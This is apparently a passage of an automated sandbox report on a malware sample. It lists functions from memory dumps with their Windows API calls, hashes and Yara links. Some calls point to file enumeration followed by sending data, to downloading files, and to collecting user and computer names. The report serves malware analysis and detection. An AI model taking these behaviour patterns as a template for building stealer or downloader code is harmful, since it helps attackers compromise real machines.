Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleOpenSuspend
String ID:
API String ID: 1999457699-0
Opcode ID: 3510952bbce1d46dee392e3ac144790d087262ecf0a072a403971cab8d325e8d
Instruction ID: ceac2ce4e76c6daab75e9051d59cb3f0ae94923c957cabe06de2ac60cfd90046
Opcode Fuzzy Hash: 3510952bbce1d46dee392e3ac144790d087262ecf0a072a403971cab8d325e8d
Instruction Fuzzy Hash: 12D0A73760403167C32817AE6C9CE5BADBFEFE5AA27060219F648D3104DF708801C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 1603BB35 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,16036024,00000000), ref: 1603BB40
NtResumeProcess.NTDLL(00000000), ref: 1603BB4D
CloseHandle.KERNEL32(00000000,?,?,16036024,00000000), ref: 1603BB56

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleOpenResume
String ID:
API String ID: 3614150671-0
Opcode ID: 0d78d096f96cd9d8221968bc553101344c4cb9d7a11cc4e0a09a1dfd18598850
Instruction ID: c2294d3a48ae45137d79ef67011c28e518c03aeb51a8554711c89dbe5da6f294
Opcode Fuzzy Hash: 0d78d096f96cd9d8221968bc553101344c4cb9d7a11cc4e0a09a1dfd18598850
Instruction Fuzzy Hash: BFD05E3650003167C228176A688CD5BAE7BEBE2AA2706021AF648D3108DA608801C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 16054C52 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A,00000000), ref: 16054C6B

Strings

, xrefs: 16054DD2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-3916222277
Opcode ID: 0f94659593c362f6efe2cffed4778174c64223f147421afb7e696ceace2ec4bc
Instruction ID: 2fb7bb3f354fc8ec30a4b0dc8e91892ddc3dbec33347ed57f6a711d966f62500
Opcode Fuzzy Hash: 0f94659593c362f6efe2cffed4778174c64223f147421afb7e696ceace2ec4bc
Instruction Fuzzy Hash: 7C518D71E062199BEB18CF65C4C179EBBF6FB48311F1284AED819EB244D3749A14CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 1606E879 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 1606EA0C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 5c6f804f5b1228cc83fac2f3bf941b1a0eed3c23fb2da33d852de3dd19dc74f5
Instruction ID: b3d773635b1c7bfaee137bfb5bf7d47fcb3ef8ec862c2122c4af0198d9d9dbb8
Opcode Fuzzy Hash: 5c6f804f5b1228cc83fac2f3bf941b1a0eed3c23fb2da33d852de3dd19dc74f5
Instruction Fuzzy Hash: E1310775D04249AFCB14CE79CC84EEA7FBEDF86304F1001A8E959D7251E670AD49CB60

Uniqueness

Uniqueness Score: -1.00%

Function 160688ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,160644CA,?,00000004), ref: 16068940

Strings

GetLocaleInfoEx, xrefs: 16068908

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 7cc00bac48a2c2863926f169cac47f07f6d8359ef418982059ae64c4f027dfb8
Instruction ID: 6cadd1e21cc5e74f37ab983b8087be85e0d459fd947c3ad39c626ecf06684d28
Opcode Fuzzy Hash: 7cc00bac48a2c2863926f169cac47f07f6d8359ef418982059ae64c4f027dfb8
Instruction Fuzzy Hash: 81F02B71A0111CB7CB05DF65CC44FAE3F57EF18361F014658FD4526110CA31AE15D6E9

Uniqueness

Uniqueness Score: -1.00%

Function 160661F0 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
Instruction ID: 90e50d7055d8fe698cc217c5ea0d08b5e3464a0f7933ce8c2f29d5bdcb1e651e
Opcode Fuzzy Hash: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
Instruction Fuzzy Hash: 38025C71E102299BDF14CFAACC8069DFBF1EF88324F158269D819E7384D731AA45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 16039AF5 Relevance: 3.2, APIs: 2, Instructions: 245fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?), ref: 16039D4B
FindNextFileW.KERNEL32(00000000,?,?), ref: 16039E17

Part of subcall function 1603C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,1602412F,16085E74), ref: 1603C49E

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Find$CreateFirstNext
String ID:
API String ID: 341183262-0
Opcode ID: 7107b49bbd579dd58d95c73b51005fbd6228beb90e212297c19bf87b82d3f91c
Instruction ID: c861ed189aa44d5bc8b4e7b1ad2524f034a5565c304a4fa8d796540097117c93
Opcode Fuzzy Hash: 7107b49bbd579dd58d95c73b51005fbd6228beb90e212297c19bf87b82d3f91c
Instruction Fuzzy Hash: FD8172395482409AC354EB61CC90DEFBFAAAFA0201FD0496DE696571E4FF30BA0DC752

Uniqueness

Uniqueness Score: -1.00%

Function 1602783C Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 16027857
FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 1602791F

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNextsend
String ID:
API String ID: 4113138495-0
Opcode ID: d3a8ef34b2156af3f02bfd679f4c8b0908e352d56f5f9d13fee32c9207c6033c
Instruction ID: 35bed090ad3e2b9c64ca8aa32ee4cd6eaa612963cff7bbd87534127fc757ddb4
Opcode Fuzzy Hash: d3a8ef34b2156af3f02bfd679f4c8b0908e352d56f5f9d13fee32c9207c6033c
Instruction Fuzzy Hash: 4521713A5442459BC314EBA0DC94DEFBBAEAF95315FC0491DF59652090FF30BA0DCA52

Uniqueness

Uniqueness Score: -1.00%

Function 1603663B Relevance: 3.1, APIs: 2, Instructions: 62sleepfilenetworkCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 16036640
URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 160366A2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DownloadFileSleep
String ID:
API String ID: 1931167962-0
Opcode ID: 25b10b754f7711d01d5c966a824a32d7d6d8b61fb4786eb495f1748619bdb78a
Instruction ID: 19fb2fc537ee9e144520fb59c7c6700abe4a0190f1fdc6054641ebbbbe001f60
Opcode Fuzzy Hash: 25b10b754f7711d01d5c966a824a32d7d6d8b61fb4786eb495f1748619bdb78a
Instruction Fuzzy Hash: 0A1182796583419ECB18EF70CC959BE7BAAAF54202FC00CADE69642091FF30B90CC752

Uniqueness

Uniqueness Score: -1.00%

Function 1603B60D Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetComputerNameExW.KERNEL32(00000001,?,0000002B,160950E4), ref: 1603B62A
GetUserNameW.ADVAPI32(?,1602F223), ref: 1603B642

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Name$ComputerUser
String ID:
API String ID: 4229901323-0
Opcode ID: 9255e425fc57d88daac048a586547adc677aa30da0db185cc66b1feb5d98e5ef
Instruction ID: eba5f0b18e8faf47738a1d2f9afb749412e5abd183ab7601e6faf65a50f75b0a
Opcode Fuzzy Hash: 9255e425fc57d88daac048a586547adc677aa30da0db185cc66b1feb5d98e5ef
Instruction Fuzzy Hash: 9201FF7590011CABCB04DBD4DC84ADEBBBDAF58305F50019AE905A6154EF706A8DCBA4

Uniqueness

Uniqueness Score: -1.00%

Function 16032077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,16031F37,?,?,?,?,00000000), ref: 160320E7
HeapFree.KERNEL32(00000000,?,?,?,?,00000000), ref: 160320EE

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 5844969113cdd00828494f10f1b042f45b039874db0953def4478706162739a2
Instruction ID: 7145c24b3cee4c80be471c0fb33f87bf2f7e3aff44716a09d27c3a7f147fa679
Opcode Fuzzy Hash: 5844969113cdd00828494f10f1b042f45b039874db0953def4478706162739a2
Instruction Fuzzy Hash: 31110972400B21EFCB319F64DD94817BBEAFF04616701892DE19656822CB72F898DF50

Uniqueness

Uniqueness Score: -1.00%

Function 1607332B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,16073326,?,?,00000008,?,?,160761DD,00000000), ref: 16073558

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 4eb29fb2e1cba042a492cf0aa00150c756495ceef63307c47691f4a61aa41bf9
Instruction ID: 7974529b462f85f40764727104135d851376d0160c57a53f267aed0e6a051895
Opcode Fuzzy Hash: 4eb29fb2e1cba042a492cf0aa00150c756495ceef63307c47691f4a61aa41bf9
Instruction Fuzzy Hash: B2B14B71A106099FE709CF28C486B597FE0FF45364F258698E8DACF2A1C736E985CB44

Uniqueness

Uniqueness Score: -1.00%

Function 16053946 Relevance: 1.8, Strings: 1, Instructions: 501COMMON

Download Yara Rule

Strings

0, xrefs: 16053952

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: a9d525cb7927cd720a8dd238b7f215e484f82f891327540b536d69828c671a06
Instruction ID: febc882b914ea092e6636d9075f0f0e4906d484a840e7753f4ba1a747108ebd3
Opcode Fuzzy Hash: a9d525cb7927cd720a8dd238b7f215e484f82f891327540b536d69828c671a06
Instruction Fuzzy Hash: 40123C36B083008BD718CF69D851A2FB7E3BFCC754F16492DE585A7290EA75E805CB86

Uniqueness

Uniqueness Score: -1.00%

Function 16072313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

Part of subcall function 16068215: _free.LIBCMT ref: 16068274
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 16068281

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 16072367

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: f2bb9d1acde7a89d59d0844a7f05f743f7fcfa8c7c62269956edf5016f201529
Instruction ID: c390bfa886b957846193011416c3cbc5d45febed0f5a13494797e71f3063e5b3
Opcode Fuzzy Hash: f2bb9d1acde7a89d59d0844a7f05f743f7fcfa8c7c62269956edf5016f201529
Instruction Fuzzy Hash: 6821DA76910247ABDB14DF14CC45BAA7BF9EF04310F10417AED41E6180EB74AD88CB64

Uniqueness

Uniqueness Score: -1.00%

Function 16071F9B Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

EnumSystemLocalesW.KERNEL32(160720C3,00000001,00000000,?,16064A6C,?,160726F0,00000000,?,?,?), ref: 1607200D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: ed8e46276a4d2a69cab42855afdadc9041c1aee7910c9f683da86544588a5e8e
Instruction ID: 58e0fdf33111ca04e0b225790f0af99260635ec938edddaec0d2c8804496432e
Opcode Fuzzy Hash: ed8e46276a4d2a69cab42855afdadc9041c1aee7910c9f683da86544588a5e8e
Instruction Fuzzy Hash: 0E11297B6107015FD718DF39C8A06BABB92FF80359B18852CD9C647A41D771B946C750

Uniqueness

Uniqueness Score: -1.00%

Function 03F67F90 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 03F67FB1

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: b0f2a126e6bfdbec3624709fe996a37f07710e4d7c3479fe4a57f6dc015cd93b
Instruction ID: f45769d6a84859df83e35d39c682da859d27607d3f3e59c635f6a2255c16a055
Opcode Fuzzy Hash: b0f2a126e6bfdbec3624709fe996a37f07710e4d7c3479fe4a57f6dc015cd93b
Instruction Fuzzy Hash: C011DEB5E00209AFDB04DF99CD81DAFF7F9EFC8600B14C569A519EB254E6719A018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 16072543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,160722E1,00000000,00000000,?), ref: 1607256F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: 6b5882875481e0e044dac225ad71f691c3cdcda8a2b9f45d0c8d4dc108140bc7
Instruction ID: 6337f7e32cfb71b9dd82b1cc7aa9b4af1f8344da4c67fc8414768858f2182f2d
Opcode Fuzzy Hash: 6b5882875481e0e044dac225ad71f691c3cdcda8a2b9f45d0c8d4dc108140bc7
Instruction Fuzzy Hash: 09F07832E10116ABDB18DA20DC1ABBA3FB8EF40314F00C528EC95A3144EB74FE45C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 16072036 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

EnumSystemLocalesW.KERNEL32(16072313,00000001,?,?,16064A6C,?,160726B4,16064A6C,?,?,?,?,?,16064A6C,?,?), ref: 16072082

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 8229199486f97b06cc24a31d39ba5d6c9e6c97e441aa354ec6bfbfcf34e34895
Instruction ID: 2760417a45c78d903d7f0a5ba11f7d919f222d11311f60d30bed0d1c13f4bafa
Opcode Fuzzy Hash: 8229199486f97b06cc24a31d39ba5d6c9e6c97e441aa354ec6bfbfcf34e34895
Instruction Fuzzy Hash: E8F046762007051FD7149F39CC90B6A7FD6FF80368F15842CEAC28B641D7B1AC46C6A4

Uniqueness

Uniqueness Score: -1.00%

Function 16068404 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16065888: EnterCriticalSection.KERNEL32(?,?,16062FDB,00000000,1608E928,0000000C,16062F96,?,?,?,16065B26,?,?,160682CA,00000001,00000364), ref: 16065897

EnumSystemLocalesW.KERNEL32(160683BE,00000001,1608EAD0,0000000C), ref: 1606843C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: d54c648921bb8071855e5cc0b41a10e579367fd0298a5b48c7da48d5541c8643
Instruction ID: 7b3d35eea8b0ebaf88987e5f0516e03a77bd74a78a29232cfa3415cad6ebe843
Opcode Fuzzy Hash: d54c648921bb8071855e5cc0b41a10e579367fd0298a5b48c7da48d5541c8643
Instruction Fuzzy Hash: 10F0AF76A50214DFD708DF68C884B8C7BF3FB14321F118599E514EB290CB719948CB50

Uniqueness

Uniqueness Score: -1.00%

Function 16071F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16068215: GetLastError.KERNEL32(?,1605F720,1605A7F5,1605F720,16094EF8,?,1605CE15,FF8BC35D,16094EF8,16094EF8), ref: 16068219
Part of subcall function 16068215: _free.LIBCMT ref: 1606824C
Part of subcall function 16068215: SetLastError.KERNEL32(00000000,FF8BC35D,16094EF8,16094EF8), ref: 1606828D
Part of subcall function 16068215: _abort.LIBCMT ref: 16068293

EnumSystemLocalesW.KERNEL32(16071EA7,00000001,?,?,?,16072712,16064A6C,?,?,?,?,?,16064A6C,?,?,?), ref: 16071F87

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 667c60da2003ab662369aa9dad20e4d5e08ab2a5496c153735905db25965bdb4
Instruction ID: 5dbed818f7558ac87043f825531a4abf76a32489612f95006643c8e994ccc72a
Opcode Fuzzy Hash: 667c60da2003ab662369aa9dad20e4d5e08ab2a5496c153735905db25965bdb4
Instruction Fuzzy Hash: 39F0EC3574024657C704DF35C844B667F96EFC1715F1A4098EA45CB580C731D946C754

Uniqueness

Uniqueness Score: -1.00%

Function 03F6A780 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03F6A79E

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 58c1c4a77dddcd1d3feeefb456d2c268f454cde5e81dc923aa3144afb07d55d1
Instruction ID: 877626719a2e83a73831645a3b379ed2470419917c492e7cd52450580e1e4471
Opcode Fuzzy Hash: 58c1c4a77dddcd1d3feeefb456d2c268f454cde5e81dc923aa3144afb07d55d1
Instruction Fuzzy Hash: 7CE0D87670031417D710F5595C81DF6726CA76C610F00417FBD05DB381EEA09D4042E4

Uniqueness

Uniqueness Score: -1.00%

Function 03F6B748 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,03F8A106,00000000,03F8A11E), ref: 03F6B756

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 4e7fb1eaabbc8cfe5a99415cb029f648881dd25ff6e690e0f8afbdb4776bcfd1
Instruction ID: a644886eae8d2919c711cac9b53adfdc54b2c355ffe9ce2106284ce86cd3a8ec
Opcode Fuzzy Hash: 4e7fb1eaabbc8cfe5a99415cb029f648881dd25ff6e690e0f8afbdb4776bcfd1
Instruction Fuzzy Hash: 99F0D47890430A9FD358FF29E46462977E4FF88710F04892DE898CB395E7389C048F92

Uniqueness

Uniqueness Score: -1.00%

Function 03F6A7CC Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

